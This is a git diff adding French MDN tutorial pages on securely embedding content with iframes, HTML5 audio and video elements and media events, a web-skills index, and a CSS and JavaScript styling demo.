Objectifs :Connaître les risques encourus lorsqu'on imbrique des pages web entre elles et savoir comment intégrer une page web au sein d'une autre page tout en minimisant ces risques.
+ +

L'imbrication des pages, quelques mots d'histoire

+ +

Imbriquer des pages entre elles peut sembler étrange voire contre-nature mais cela existe depuis les débuts du Web. Lorsque la bande passante était utilisée par des modems 56k (voire moindre), pour réduire le temps de téléchargement, les pages web étaient fragmentées en morceaux appelés frames, tous intégrées dans un frameset. Malheureusement, les frames ont apporté plus de problèmes que de solutions et le concept de frame/frameset a disparu depuis l'apparition d'{{glossary("AJAX")}}.

+ +

Cela dit, il existe des cas où imbriquer des pages web est une solution valide. C'est notamment le cas lorsqu'on veut inclure du contenu généré par un utilisateur ou du contenu tiers (des publicités par exemple). Afin d'améliorer la sécurité lors de telles opérations, il est possible d'intégrer le contenu dans une iframe HTML5. Dans certains cas complexes, cela peut également permettre au navigateur d'être plus rapide car les arbres {{glossary("DOM")}} à traiter peuvent être plus légers.

+ +

Malgré tout, l'imbrication de pages web a des conséquences significatives sur la sécurité, la performance et l'accessibilité. Avant de la mettre en œuvre, assurez-vous d'en comprendre les enjeux et les risques afin de servir au mieux vos visiteurs.

+ +

Une imbrication simple

+ +

La plupart du temps, vous aurez besoin d'une {{htmlelement("iframe")}} pour imbriquer des pages web entre elles. Pour commencer, voici quelques questions :

+ + + +

Au final, le code ressemblera à :

+ +
<iframe
+ src="https://developer.mozilla.org/fr/docs/Web/JavaScript/"
+ width="100%" height="500"
+ sandbox>
+  <p>
+    <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/">
+      Un lien à utiliser dans les cas où les navigateurs ne supportent
+      pas les <i>iframes</i>.
+    </a>
+  </p>
+</iframe>
+
+ +
+

Afin d'améliorer la vitesse de chargement du site principal, il peut être utile de définir l'attribut src de l'iframe grâce à JavaScript, une fois que le contenu principal a été chargé. De cette façon, votre page sera utilisable plus tôt et le temps de chargement « officiel » de votre page sera réduit (ce qui peut être une métrique importante pour le référencement).

+
+ +
+

Si vous n'appréciez pas la bordure épaisse autour de l'{{htmlelement("iframe")}}, vous pouvez utiliser {{cssxref('border')}}: none; dans votre code {{Glossary('CSS')}}.

+
+ +

Soyez couverts

+ +

Dans les paragraphes précédents, nous avions insisté sur les aspects liés à la sécurité. Nous y voilà revenus. Les développeurs de navigateurs et les développeurs web ont appris à leurs dépens que les iframes pouvaient être un vecteur d'attaque visant à modifier une page web ou à faire faire aux visiteurs quelque chose à leur insu.

+ +
+

{{interwiki('wikipedia','Clickjacking')}} est l'une des attaques connues utilisant les iframes : un attaquant placera une iframe invisible dans le document pour capturer les interactions entre l'utilisateur et le site web. Cela permet de détourner les utilisateurs ou de subtiliser des données sensibles.

+
+ +

Voici quelques mesures à prendre pour mieux protéger votre site, de la plus simple à la plus complexe.

+ +

Ne pas intégrer de contenu tiers

+ +

Il peut arriver que vous n'ayez pas le choix, en revanche si vous l'avez, ne pas intégrer de contenu tiers pourra certainement vous épargner des maux de tête. Si vous avez développé le contenu intégré, regardez-y à deux fois. Si le contenu provient de l'extérieur, considérez-le comme dangereux.

+ +
+

Un autre aspect que celui de la sécurité intervient ici : la propriété intellectuelle. La plupart des contenus, qu'ils soient en ligne ou non, sont placés sous le droit d'auteur, y compris du contenu dont on penserait qu'il est libre de droit (par exemple, la plupart des images sur Wikimedia Commons). N'affichez jamais du contenu sur votre page web si ce n'est pas le vôtre et que vous n'avez pas eu l'accord expresse de l'auteur. Les peines infligées pour infraction au droit d'auteur peuvent être importantes. Là encore, on n'est jamais trop prudent.

+ +

Si le contenu est placé sous licence, vous devez respecter les termes de la licence. Par exemple, MDN est sous licence CC-BY-SA. Cela signifie que vous devez créditer les auteurs correctement lorsque vous citez le contenu d'une de ses pages, même si vous y apportez des modifications.

+
+ +

Utiliser HTTPS

+ +

{{Glossary("HTTPS")}} est la version chiffrée de {{Glossary("HTTP")}}. Vous devriez utiliser HTTPS dès que possible :

+ +
    +
  1. HTTPS réduit les chances que le contenu distant soit modifié lors du transport ;
    2. +
  2. HTTPS empêche le contenu intégré d'accéder au contenu du document parent, et vice versa.
    3. +
+ +

Les certificats de sécurité ne sont pas donnés et si vous ne pouvez pas vous en procurer un, vous devrez servir votre document parent avec HTTP. Cependant, suite à ce qui a été vu avant, dans aucun cas vous ne devez intégrer du contenu tiers qui soit transporté par HTTP (dans le meilleur des cas, cela se traduira, pour l'utilisateur, par un avertissement dans le navigateur).

+ +

Utiliser l'attribut sandbox, toujours

+ +

Si vous souhaitez minimiser les risques, ne donnez que les permissions indispensables nécessaires. Bien entendu, cela s'applique également à votre contenu.

+ +

Le contenu qui n'est pas mis dans un bac à sable (sandbox) a trop de droits par défaut (utilisations de scripts, de formulaires, de pop-ups, etc). Tant que c'est possible, imposez toutes les restrictions en utilisant {{htmlattrxref('sandbox','iframe')}} sans paramètres.

+ +

Si c'est nécessaire, vous pouvez ajouter certaines permissions, une à une, dans la valeur de sandbox. Attention ! Il ne faut jamais ajouter allow-scripts et allow-same-origin en même temps car le contenu placé en bac à sable pourrait alors désactiver les protections.

+ +
+

La mise en bac à sable (sandboxing) n'offre aucune protection si l'attaquant peut détourner les visiteurs et leur faire visiter un contenu dangereux directement (qui n'est pas dans une iframe). S'il y a une probabilité qu'un contenu soit dangereux (par exemple : un contenu généré par un utilisateur), faites en sorte que ce contenu soit servir avec une origine différente de celle du site principal.

+
+ +

Établir des canaux de communication entre les contenus

+ +

Dans certains cas, il peut être utile de faire communiquer une iframe avec le document hôte. Mettre en place de tels canaux de communication est assez simple avec JavaScript. Si l'iframe est correctement mise en bac à sable, ni l'iframe ni le document parent ne pourront accéder au DOM de l'autre (sans bac à sable, ça serait possible et incroyablement dangereux). Pour échanger de tels messages, l'API {{domxref('window.postMessage','postMessage')}} est la seule méthode sécurisée.

+ +

Configurer les directives CSP

+ +

{{Glossary("CSP")}} fournit un ensemble d'en-têtes HTTP conçus pour améliorer la sécurité d'un document HTML. Lorsqu'on utilise des iframe, il faut s'assurer de configurer son serveur pour envoyer un en-tête X-Frame-Options approprié. Cela peut empêcher d'autres sites web d'intégrer le contenu de votre page dans d'autres pages web (ce qui serait une première étape pour faire du {{interwiki('wikipedia','clickjacking')}} ou effectuer d'autres attaques). Pour plus d'informations sur ce sujet, le billet de Frederik Braun (en anglais) est particulièrement intéressant.

+ +

Placez le code HTML dans un bac à sable (sandboxing)

+ +

Nous avons déjà évoqué la mise en bac à sable pour les contenus embarqués mais cela peut également concerner votre propre contenu. Il est parfois avantageux d'aller encore plus loin en découpant sa page web en plusieurs iframes, chacune mise dans un bac à sable, en gérant un minimum de privilèges et en les coordinant depuis le document principal (Mike West décrit ce sujet en détails et explique comment la séparation des privilèges permet d'améliorer le niveau de sécurité). Découpage une page de cette façon peut également permettre d'obtenir de meilleures performances car les arbres {{glossary("DOM")}} manipulés sont plus légers.

+ +

En utilisant les deux nouveaux attributs d'iframe : {{htmlattrxref('seamless','iframe')}} et {{htmlattrxref('srcdoc','iframe')}}, vous pouvez intégrer des fragments de code HTML dans un document HTML. Pour supporter les navigateurs historiques, il est possible de fournir un contenu alternatif via une URL avec src (cela peut être une URI de données). Voici un exemple simple :

+ +
<iframe
+ sandbox
+ seamless
+ src="fallback.html"
+ srcdoc="
+   <p>
+     Ce paragraphe est dans un bac à sable.
+   </p>
+ ">
+  Du contenu pour les navigateurs qui ne supportent pas
+  les iframes.
+</iframe>
+ +
+

Pour l'attribut srcdoc, les quotes doivent être échappées (&quot;) et les ampersandes doivent être doublement échappées (&amp;amp; pour représenter une ampersande simple (&)).

+
+ +

En savoir plus

+ + diff --git a/files/fr/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/fr/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html new file mode 100644 index 0000000000..8d3caf06b2 --- /dev/null +++ b/files/fr/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html @@ -0,0 +1,154 @@ +--- +title: Ajouter du contenu audio ou vidéo à une page web +slug: Apprendre/HTML/Comment/Ajouter_contenu_audio_vidéo_page_web +tags: + - Audio + - Beginner + - Guide + - HTML + - Video +translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content +translation_of_original: Learn/HTML/Howto/Add_audio_or_video_content_to_a_webpage +--- +
+

Dans cet article, nous verrons comment intégrer des éléments vidéo et audio de premier rang, accessibles à chacun, quelle que soit la méthode utilisée.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez vous être familiarisé-e avec la création de documents HTML simples.
Objectifs :Savoir comment intégrer des éléments audio et vidéo dans une page web.
+ +

L'audio et la vidéo sur le web

+ +

Depuis toujours, les développeurs web ont intégré (ou tenté d'intégrer) des vidéos et des sons sur le Web. Après une longue période d'expérimentation, {{glossary("HTML5")}} offre aujourd'hui la meilleure solution et tire parti de nouvelles {{Glossary("API")}} {{Glossary("JavaScript")}} .

+ +

Dans cet article, nous expliquerons comment intégrer des fichiers audio et vidéo dans des documents HTML. Nous prendrons le postulat de départ que vous avez déjà ces fichiers disponibles (la création de média n'est pas, à proprement parlé, du développement web et nous n'en parlerons donc pas dans cet article)

+ +

Avant de commencer, précisons qu'il existe par ailleurs quelques fournisseurs de vidéos en ligne tels que YouTube, Dailymotion ou Vimeo. Ces sites offrent un moyen pratique pour héberger ou consommer des vidéos et peuvent nous éviter d'avoir à penser à la consommation de bande passante. Ils permettent généralement d'utiliser des scripts JavaScript permettant d'embarquer les vidéos sur une page web. Cette méthode permet d'éviter certaines des difficultés que nous allons aborder, toutefois, cela ne correspond pas exactement au fait d'utiliser HTML pour fournir directement du contenu multimédia à vos utilisateurs.

+ +

Pour commencer

+ +

La façon la plus simple permettant d'intégrer un fichier multimédia dans une page web est d'utiliser l'élément {{htmlelement("audio")}} pour les fichiers sonores et l'élément {{htmlelement("video")}} pour les vidéos. Par exemple :

+ +
<audio src="exemple.ogg" controls></audio>
+<video src="exemple.webm" width="375" height="280" controls></video>
+
+ +

Ces deux éléments HTML possèdent quelques attributs permettant de contrôler le comportement des éléments :

+ +
+
{{htmlattrxref("width","video")}} et {{htmlattrxref("height","video")}} (uniquement pour <video>)
+
Ces attributs permettent de contrôler la taille à utiliser pour la vidéo (des propriétés CSS peuvent également être utilisées). Dans tous les cas, les vidéos garderont leur ratio « hauteur / largeur » de départ (des bandes noires viendront occuper l'espace vide).
+
{{htmlattrxref("controls","video")}}
+
+

Les utilisateurs doivent être en mesure de contrôler la lecture de la vidéo ou du son (ce point est notamment critique pour les personnes epileptiques). Il faut donc utiliser l'attribut controls pour que le navigateur fournisse les contrôles natifs ou alors construire votre propre interface, grâce à l'API JavaScript appropriée. L'interface utilisateur devra, au minimum, fournir un moyen de lancer la lecture, de l'arrêter et d'ajuster le volume.

+
+
{{htmlattrxref("autoplay","video")}}
+
Cet attribut permet de lancer la vidéo ou la piste audio dès qu'elle est chargée et lors du chargement de la page. Attention, de nombreux utilisateurs peuvent trouver ce comportement « agressif ».
+
{{htmlattrxref("loop","video")}}
+
Cet attribut permet de lire la piste audio ou la vidéo en boucle, en la relançant automatiquement une fois qu'elle a fini. Attention également à utiliser cet attribut avec précaution.
+
{{htmlattrxref("muted","video")}}
+
Cet attribut permet de lancer le média avec le son désactivé par défaut.
+
{{htmlattrxref("poster","video")}} (video only)
+
Cet attribut fournit l'URL d'une image à afficher avant de lancer la vidéo.
+
+ +

Déjouer les pièges des codecs

+ +

Le problème : les navigateurs supportent différents codecs

+ +

Les {{Glossary("Codec","codecs")}} (tels que Vorbis ou H.264) permettent de convertir du son et de la vidéo en chiffres binaires et aussi de réaliser la conversion inverse. Mais si on ne dispose pas du bon codec, les données exprimées en binaires seront inexploitables.

+ +
Les formats de type « conteneur » (tel que Ogg) : ces formats font référence à la façon dont les données d'images, de son et les méta-données sont regroupées (« empaquetées ») dans un seul fichier. Le support pour les différents types de conteneur est un problème à part entière mais généralement, les systèmes supportenent les formats de conteneurs associés aux codex qu'ils supportent (par exemple Ogg empaquète de l'audio au format Vorbis et de la vidéo au format Theora ; WebM regroupe le plus souvent de l'audio au format Vorbis avec de la vidéo au format VP8/VP9 ; MP4, quant à lui, empaquète de l'audio AAC et de la vidéo H.26).
+ +

Malheureusement, les navigateurs ne supportent pas tous les mêmes codecs, il faut donc, la plupart du temps, fournir différents fichiers pour les différents formats.

+ +

Quels formats fournir ?

+ +

Le format MP3 (pour l'audio) et le format MP4/H.264 (pour la vidéo) sont très largement supportés. Cepedant, des brevets américains portent sur le format MP3 jusqu'en 2017 au minimum et sur le format H.264 jusqu'en 2027 au minimum. Beaucoup de personnes préfèrent éviter d'utiliser des logiciels restreints à ces brevets, c'est pour cela qu'il est nécessaire de mettre à disposition les fichiers multimédia dans des formats libres (tel qu'Ogg Vorbis pour l'audio et WebM pour la vidéo).

+ +

Dans un monde idéal, à la façon de Wikipédia, il suffirait de fournir les fichiers uniquement dans ces formats ouverts. Cependant, des navigateurs comme Safari et Microsoft Edge (sans parler d'Internet Explorer) ne supportent pas ces formats. Cela laisserait donc beaucoup d'utilisateurs potentiels sur le banc.

+ +

Pour plus de détails sur cette compatibilité, consultez notre tableau de compatibilité pour les codecs audio et notre tableau de compatibilité pour les codecs audio-vidéo.

+ +

Comment fournir le même contenu sous plusieurs formats ?

+ +

HTML fournit l'élément {{htmlelement("source")}} qui peut être utilisé avec l'attribut {{htmlattrxref("src","source")}}. Cet attribut, src, ne doit pas être placé au sein même de l'élément <video> ou <audio> car il remplacerait alors le contenu déclaré dans les éléments <source>. Voici un exemple :

+ +
<audio controls>
+  <source src="exemple.mp3" type="audio/mpeg">
+  <source src="exemple.ogg" type="audio/ogg">
+</audio>
+ +
+

Assurez-vous de ne pas oublier l'attribut {{htmlattrxref("type","source")}}. S'il manque, les navigateurs chargeront et essaieront chaque fichier, ce qui prendra plus de temps et consommera plus de ressources. type permet aux navigateurs de sauter tous les fichiers qu'ils ne peuvent pas lire. Dans cet article sur les formats de médias supportés, les {{glossary("type MIME","types MIME")}} les plus communs sont explicités.

+
+ +

Les transcriptions et les sous-titres

+ +

Transcrire signifie ici qu'on écrit les dialogues oraux sont forme de texte.

+ +

De nombreuses personnes ne peuvent pas (ou ne veulent pas) utiliser des contenus audio ou vidéos (par exemple dans un environnement bruyant ou dans une bibliothèque). Pour que votre site puisse être consulté par ces visiteurs, il est donc nécessaire de fournir une transcription textuelle du média ainsi qu'une « piste » de texte qui s'affiche en même temps que la vidéo. Cela prend du temps à réaliser mais cela en vaut le coût..

+ +

Les pistes textuelles permettent également d'avoir un meilleur impact pour le référencement ({{glossary("SEO")}}) car les moteurs de recherches utilisent principalement le contenu textuel. Un dialogue d'une vidéo pourra donc être référencé s'il est transcrit.

+ +

Les pistes textuelles

+ +

Les chaînes de texte affichées durant une vidéo peuvent prendre différentes formes, dont voici les principales :

+ +
+
Les sous-titres
+
La traduction des dialogues à l'écrit, éventuellement dans une langue autre que celle parlée dans la vidéo.
+
La description
+
Une transcription synchronisée des dialogues et les descriptions des sons entendus dans la vidéo (ce qui permet aux personnes de regarder un film sans le son par exemple)
+
L'audio-description
+
Du texte, décrivant les scènes qui est fourni en audio (notamment pour les personnes souffrant d'une déficience visuelle).
+
+ +

HTML permet d'inclure facilement de telles pistes :

+ +
    +
  1. Il faut écrire un ou plusieurs fichiers texte WebVTT. Un fichier WebVTT contient les textes à utiliser et définit à quels moment ces textes doivent apparaître ou disparraître (dans ces cas, avoir une bonne transcription dès le début aide énormément).
    2. +
  2. Puis lier le ou les fichiers WebVTT à l'élément {{htmlelement("track")}}. <track> se place dans les éléments <audio> ou <video> et est situé après les éléments <source>. L'attribut {{htmlattrxref("kind","track")}} doit être utilisé pour indiquer s'il s'agit de subtitles (sous-titres), captions (description) ou de descriptions (audio description). L'attribut {{htmlattrxref("srclang","track")}} peut également être utilisé pour compléter et indiquer au navigateur le langage utilisé pour les sous-titres.
    3. +
+ +

Voici un exemple :

+ +
<video controls>
+    <source src="exemple.mp4" type="video/mp4">
+    <source src="exemple.webm" type="video/webm">
+    <track kind="subtitles" src="sous-titres-en.vtt" srclang="en">
+</video>
+ +

Pour plus de détails, n'hésitez pas à lire l'article décrivant comment ajouter des sous-titres et légendes à une vidéo HTML5.

+ +

Contenu de secours pour les navigateurs historiques

+ +

Il est possible d'ajouter un contenu qui sera utilisé dans le cas où le navigateur ne connaît pas ces éléments HTML5. Ce contenu doit être ajouté avant la balise de fermeture. Il est par exemple possible d'ajouter un lien de téléchargement vers le fichier média :

+ +
<video src="exemple.webm" controls>
+    <track kind="captions" src="captions.vtt" srclang="fr">
+    <a href="exemple.webm">Télécharger la vidéo</a>
+</video>
+ +

Un lien de téléchargement n'est pas parfaitement adapté pour tous les utilisateurs (notamment pour ceux qui sont sur des mobiles) mais c'est une meilleure solution que d'indiquer uniquement que le navigateur doit être mis à jour. Il existe des techniques plus avancées pour répondre à ce cas mais une solution rapide à mettre en œuvre consiste à utiliser les plateformes vidéos évoquées au début de cet article, qui fournissent un script tiers fonctionnel.

+ +

En savoir plus

+ + diff --git a/files/fr/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content_040b1c36f4218ba488ffb0284dfe52bf/index.html b/files/fr/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content_040b1c36f4218ba488ffb0284dfe52bf/index.html new file mode 100644 index 0000000000..efa30853e6 --- /dev/null +++ b/files/fr/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content_040b1c36f4218ba488ffb0284dfe52bf/index.html @@ -0,0 +1,245 @@ +--- +title: Utilisation d'audio et video en HTML5 +slug: Web/HTML/Utilisation_d'audio_et_video_en_HTML5 +tags: + - Aperçu + - Featured + - Guide + - HTML + - HTML5 + - Media + - Web +translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content +translation_of_original: Web/Guide/HTML/Using_HTML5_audio_and_video +--- +

{{ gecko_minversion_header("1.9.1") }}

+ +

La gestion des éléments HTML 5 audio et video a été introduite dans Firefox 3.5, ce qui permet d'intégrer facilement des médias dans des documents HTML. Actuellement, les formats de média Ogg Theora, Ogg Vorbis et WAV sont gérés.

+ +

Intégration de médias

+ +

Il est trivial d'intégrer des médias dans vos documents HTML :

+ +
<video src="http://v2v.cc/~j/theora_testsuite/320x240.ogg" controls>
+  Votre navigateur ne gère pas l'élément <code>video</code>.
+</video>
+
+ +

Cet exemple jouera une vidéo exemple du site web de Theora.

+ +

Plusieurs fichiers sources peuvent être référencés à l'aide de l'élément source afin de fournir des vidéos/extraits audio encodés dans différents formats pour différents navigateurs. Par exemple,

+ +
<video controls>
+  <source src="foo.ogg" type="video/ogg">
+  <source src="foo.mp4">
+  Votre navigateur ne gère pas l'élément <code>video</code>.
+</video>
+
+ +

jouera le fichier Ogg dans les navigateurs gérant ce format. Si ce n'est pas le cas, il essaiera de jouer le fichier MPEG-4.

+ +

Il est également possible d'indiquer les codecs dont le fichier média a besoin ; cela permet au navigateur de prendre de meilleurs décisions :

+ +
<video controls>
+  <source src="foo.ogg" type="video/ogg; codecs=&quot;dirac, speex&quot;">
+  Votre navigateur ne gère pas l'élément <code>video</code>.
+</video>
+ +

Ici, on indique que la vidéo utilise les codecs Dirac et Speex. Si le navigateur gère les médias Ogg, mais pas les codecs spécifiés, la vidéo ne se chargera pas.

+ +

Si l'attribut type n'est pas spécifié le type du média est récupéré depuis le serveur et vérifié pour voir s'il est géré par Gecko ; s'il n'est pas utilisable, l'élément source suivant est vérifié. Si aucun des éléments source ne peut être utilisé, un évènement error est transmis à l'élément video. Si l'attribut type est spécifié, il est comparé avec ceux qui peuvent être joués ; s'il n'est pas reconnu, le serveur n'est même pas interrogé, et on passe directement à la vérification de l'élément source suivant.

+ +

 

+ +

Contrôle de la lecture

+ +

Une fois le média intégré dans votre document HTML à l'aide de ces nouveaux éléments, vous pouvez les contrôler programmatiquement depuis du code JavaScript. Par exemple, pour démarrer (ou redémarrer) la lecture, vous pouvez faire ceci :

+ +
var v = document.getElementsByTagName("video")[0];
+v.play();
+
+ +

La première ligne récupère le premier élément video dans le document, et la seconde appelle la méthode play() de l'élément, telle que définie dans l'interface {{ interface("nsIDOMHTMLMediaElement") }} utilisée pour implémenter les éléments de médias.

+ +

Évènements des médias

+ +

Différents évènements sont envoyés lors du traitement de médias :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nom de l'évènementDescription
abortEnvoyé lorsque la lecture est annulée ; par exemple il sera envoyé si le média est en cours de lecture et redémarré depuis le début.
canplayEnvoyé lorsque suffisamment de données sont disponibles pour débuter la lecture du média, au moins pour quelques premières images. Il correspond à la valeur CAN_PLAY de readyState.
canplaythroughEnvoyé lorsque l'état devient CAN_PLAY_THROUGH, ce qui indique que le média peut être entièrement lu sans interruption, en supposant que la vitesse de téléchargement reste au niveau actuel.
canshowcurrentframeL'image courante est chargée et peut être présentée. Ceci correspond à la valeur CAN_SHOW_CURRENT_FRAME de readyState.
dataunavailableEnvoyé lorsque l'état devient DATA_UNAVAILABLE.
durationchangeLes métadonnées ont été chargées ou modifiées, ce qui indique un changement dans la durée du média. Sera par exemple envoyé lorsque le média est suffisamment chargé pour que sa durée soit connue.
emptiedLe média est devenu vide ; par exemple si le média est déjà chargé (ou partiellement chargé) et qu'on appelle la méthode load() pour le recharger.
emptyEnvoyé lorsqu'une erreur survient et que le média est vide.
endedEnvoyé lorsque la lecture se termine.
errorEnvoyé lorsqu'une erreur se produit. L'attribut error de l'élément contient plus d'informations.
loadedfirstframeLa première image du média a été chargée.
loadedmetadataLes métadonnées du média ont été chargées ; tous les attributs contiennent autant d'informations que possible.
loadstartEnvoyé lorsque le chargement du média débute.
pauseEnvoyé lorsque la lecture est interrompue.
playEnvoyé lorsque la lecture débute ou reprend.
progress +

Envoyé périodiquement pour informer les parties intéressées de la progression du téléchargement du média. L'évènement progress dispose de trois attributs :

+ +
+
lengthComputable
+
vaut true si la taille totale du média est connue, false sinon.
+
loaded
+
Le nombre d'octets du fichier de média qui ont été reçus jusqu'à présent.
+
total
+
Le nombre total d'octets dans le fichier de média.
+
+
ratechangeEnvoyé lorsque la vitesse de lecture change.
seekedEnvoyé lorsqu'une opération de positionnement est effectuée.
seekingEnvoyé lorsqu'une opération de positionnement débute.
suspend {{ gecko_minversion_inline("1.9.2") }}Envoyé lorsque le chargement du média est interrompu ; cela peut arriver parce que le téléchargement est terminé ou parce qu'il a été mis en pause pour toute autre raison.
timeupdateLe temps indiqué par l'attribut currentTime de l'élément a été modifié.
volumechangeEnvoyé lorsque le volume audio est modifié (qu'il s'agisse d'une modification du volume ou d'un changement de l'attribut muted).
waitingEnvoyé lorsque l'opération demandée (comme une lecture) est retardée en attendant la fin d'une autre opération (comme un positionnement).
+ +

{{ gecko_minversion_note("1.9.2", "L'ancien évènement load a été retiré de Gecko 1.9.2, il n'était pas déclenché quand il fallait et ne doit pas être utilisé.") }}

+ +

Ces évènements peuvent facilement être interceptés à l'aide ce ce genre de code :

+ +
var v = document.getElementsByTagName("video")[0];
+
+v.addEventListener("seeked", function() { document.getElementsByTagName("video")[0].play(); }, true);
+v.currentTime = 10.0;
+
+ +

Cet exemple récupère le premier élément vidéo du document et lui attache un écouteur d'évènement, vérifiant l'évènement seeked qui est envoyé lorsqu'une opération de positionnement se termine. La fonction appelle simplement la méthode play() de l'élément, qui lance la lecture.

+ +

Ensuite, à la ligne 4, cet exemple positionne l'attribut currentTime de l'élément à 10.0, ce qui lance une opération de positionnement à la dixième seconde du média. Cela déclenche l'envoi d'un évènement seeking au début de l'opération, ensuite d'un évènement seeked lorsque le positionnement est terminé.

+ +

Autrement dit, l'exemple se positionne à dix secondes du début du média, puis commence la lecture dès que c'est fait.

+ +

Options de rechange

+ +

Le code HTML fourni entre les balises, par exemple <video> et </video>, est utilisé par les navigateurs ne gérant pas les médias HTML 5. Vous pouvez tirer parti de cela pour fournir un contenu alternatif de rechange pour ces navigateurs.

+ +

Cette section propose deux options de rechange possibles pour la vidéo. Dans les deux cas, si le navigateur gère la vidéo HTML 5, c'est celle-ci qui sera utilisée.

+ +

Utilisation de Flash

+ +

Vous pouvez utiliser Flash pour lire une vidéo Flash si l'élément video n'est pas géré :

+ +
<video src="video.ogv" controls>
+    <object data="flvplayer.swf" type="application/x-shockwave-flash">
+      <param value="flvplayer.swf" name="movie"/>
+    </object>
+</video>
+
+ +

Notez qu'il ne faut pas mettre d'attribut classid à la balise object afin de rester compatible avec les autres navigateurs qu'Internet Explorer.

+ +

Lecture de vidéos Ogg dans une applet Java

+ +

Une applet Java appelée Cortado peut-être utilisée pour lire les vidéos Ogg dans les navigateurs ne pouvant pas lire les vidéos HTML 5 mais où Java est géré :

+ +
<video src="my_ogg_video.ogg" controls width="320" height="240">
+  <object type="application/x-java-applet"
+          width="320" height="240">
+     <param name="archive" value="cortado.jar">
+     <param name="code" value="com.fluendo.player.Cortado.class">
+     <param name="url" value="my_ogg_video.ogg">
+     <p>You need to install Java to play this file.</p>
+  </object>
+</video>
+
+ +

Si vous ne créez pas d'élément enfant de l'objet cortado comme l'élément <p> dans l'exemple ci-dessus, les installations de Firefox 3.5 qui gèrent la vidéo nativement mais où Java n'est pas installé informeront incorrectement l'utilisateur qu'il doit installer un plugin pour lire le contenu de la page.

+ +

Voir également

+ + + +

 {{ languages( { "en": "en/Using_audio_and_video_in_Firefox" } ) }}

+ +

 {{ languages( { "es": "es/Etiquetas audio y video en Firefox" } ) }}

diff --git a/files/fr/conflicting/learn/index.html b/files/fr/conflicting/learn/index.html new file mode 100644 index 0000000000..b1aee4ae00 --- /dev/null +++ b/files/fr/conflicting/learn/index.html @@ -0,0 +1,22 @@ +--- +title: Compétences +slug: Apprendre/Compétences +tags: + - Index +translation_of: Learn +translation_of_original: Learn/Skills +--- +

Lorsqu'il s'agit d'apprendre le développement Web, il existe plusieurs compétences, listées par WebMaker dans la littéracie web : une carte destinée aux débutants pour apprendre les bases. Sur MDN, les articles de cette section sont consacrés au développement de sites web et sont destinés à tous publics :

+ +
+
Les mécanismes du Web
+
Comprendre l'écosystème du Web.
+
Infrastructure
+
Comprendre l'aspect technique du Web.
+
Coder/Scripter
+
Créer des expériences interactives sur le Web.
+
Conception et accessibilité
+
Utiliser les ressources du Web pour communiquer efficacement avec tout le monde.
+
Écrire pour le Web
+
Créer et organiser du contenu sur le Web.
+
diff --git a/files/fr/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html b/files/fr/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html new file mode 100644 index 0000000000..6e9414972d --- /dev/null +++ b/files/fr/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html @@ -0,0 +1,147 @@ +--- +title: JavaScript +slug: CSS/Premiers_pas/JavaScript +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents +translation_of_original: Web/Guide/CSS/Getting_started/JavaScript +--- +

 

+

Vous entrez dans la partie II du tutoriel. Cette partie contient des exemples montrant toute la portée de CSS dans Mozilla.

+

Chaque page de la partie II illustre la manière dont CSS interagit avec une autre technologie donnée. Ces pages ne sont pas prévues pour vous apprendre à utiliser ces autres technologies. Pour cela, vous devrez consulter d'autres tutoriels pour les comprendre en détail.

+

Au lieu de cela, ces pages sont conçues pour illustrer les nombreux usages de CSS. Pour les comprendre, vous devriez avoir une certaine connaissance de CSS, mais il n'est pas nécessaire de maîtriser aucune des autres technologies évoquées.

+

Information : JavaScript

+

JavaScript est un + + langage de programmation + . Lorsque vous utilisez une application Mozilla (par exemple votre navigateur), une grande partie du code exécuté par votre ordinateur est écrit en JavaScript.

+

JavaScript peut interagir avec les feuilles de style, ce qui permet d'écrire des programmes modifiant le style d'un document dynamiquement.

+

Il existe trois manières de le faire :

+ + + + + + + + +
+ Plus de détails
Pour plus d'informations à propos de JavaScript dans Mozilla, consultez la page JavaScript de ce wiki.
+

Action : une démonstration en JavaScript

+

Créez un nouveau document HTML, doc5.html. Copiez et collez-y le contenu ci-dessous, en vous assurant de faire défiler pour en obtenir l'entièreté :

+
+ 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+
+<HEAD>
+<TITLE>Premiers pas en CSS avec Mozilla - Démonstration en JavaScript</TITLE>
+<LINK rel="stylesheet" type="text/css" href="style5.css"></strong>
+<SCRIPT type="text/javascript" src="script5.js"></SCRIPT>
+</HEAD>
+
+<BODY>
+<H1>Exemple en JavaScript</H1>
+
+<DIV id="square"></DIV>
+
+<BUTTON type="button" onclick="doDemo(this);">Cliquez ici</BUTTON>
+
+</BODY>
+</HTML>
+
+
+

Créez un nouveau fichier CSS, style5.css. Copiez et collez-y le contenu ci-dessous :

+
+ 
/*** Démonstration en JavaScript ***/
+#square {
+  width: 20em;
+  height: 20em;
+  border: 2px inset gray;
+  margin-bottom: 1em;
+  }
+
+button {
+  padding: .5em 2em;
+  }
+
+
+

Créez un nouveau fichier texte, script5.js. Copiez et collez-y le contenu ci-dessous :

+
+ 
// JavaScript demonstration
+function doDemo (button) {
+  var square = document.getElementById("square")
+  square.style.backgroundColor = "#fa4"
+  button.setAttribute("disabled", "true")
+  setTimeout(clearDemo, 2000, button)
+  }
+
+function clearDemo (button) {
+  var square = document.getElementById("square")
+  square.style.backgroundColor = "transparent"
+  button.removeAttribute("disabled")
+  }
+
+
+

Ouvrez le document dans votre navigateur et appuyez sur le bouton.

+

Ce wiki ne permet pas d'utiliser JavaScript dans ses pages, il n'est donc pas possible de montrer la démonstration ici. Cela ressemble à ceci, avant et après que vous appuyiez sur le bouton :

+ + + + + + + +
+ + + + + + +
+

